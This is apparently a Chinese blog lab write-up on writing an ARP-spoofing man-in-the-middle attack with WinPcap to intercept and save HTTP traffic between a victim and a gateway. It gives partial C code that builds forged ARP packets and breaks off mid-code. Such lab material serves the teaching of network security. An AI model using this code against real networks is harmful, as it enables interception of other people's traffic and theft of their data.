WinPcap编程——APR欺骗

最新推荐文章于 2023-08-14 09:00:00 发布

4ct10n

最新推荐文章于 2023-08-14 09:00:00 发布

阅读量1.7w

点赞数 1

分类专栏： VC++ 文章标签： winpcap 编程 arp

本文链接：https://blog.csdn.net/qq_31481187/article/details/53933320

版权

本文介绍了如何使用WinPcap编程实现ARP欺骗，进行中间人攻击。实验要求包括欺骗主机和网关，截获并保存HTTP报文。在实验原理部分，详细阐述了选择网卡、发送ARP请求包、识别HTTP报文和转发数据包的步骤。实验总结中提到，理解每行代码的重要性以及Wireshark对网络速度的影响。

摘要由CSDN通过智能技术生成

一实验要求

利用WinPcap编程，实现基于ARP欺骗的中间人攻击。
1）利用WinPcap，分别向被欺骗主机和网关发送APR请求包，达到同时欺骗目标主机和网关的目的；
2）所有目标主机和网关之间的数据都会被我们劫持，过滤两者之间的所有http交互数据包，并保存为文件。（http包的过滤可用80端口来标识）

二实验原理

1 选择网卡及过滤规则

在这里特别注以下几点：

1 . char packet_filter[] = "not arp";//选择过滤的协议
2 . /* 跳转到用户选择的网卡 */
for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

/* 打开网卡 */
adhandle = pcap_open_live(d->name,                 
65536,                         
1,                             
1,                         //这里读取时间不要设置的太长，否则会超时
errbuf                         
);

2 ARP欺骗主机和网关

利用WinPcap，分别向被欺骗主机和网关发送APR请求包

创建子线程，在子线程中实现arp欺骗

//欺骗目标主机
    unsigned char sendbuf[60], sendbuf1[60]; //arp包结构大小，42个字节
    unsigned long dip, sip;
    dip = inet_addr(victim_ip);//目标ip
    sip = inet_addr(gateway_ip);//网关ip
    memset(eh.DestMAC, 0xff, 6);
    memcpy(eh.SourMAC, smac, 6);   //以太网首部源MAC地址
    memcpy(ah.smac, smac, 6);   //ARP字段源MAC地址
    memset(ah.dmac, 0x00, 6);
    memcpy(ah.sip, (const void*)&sip, 4);   //ARP字段源IP地址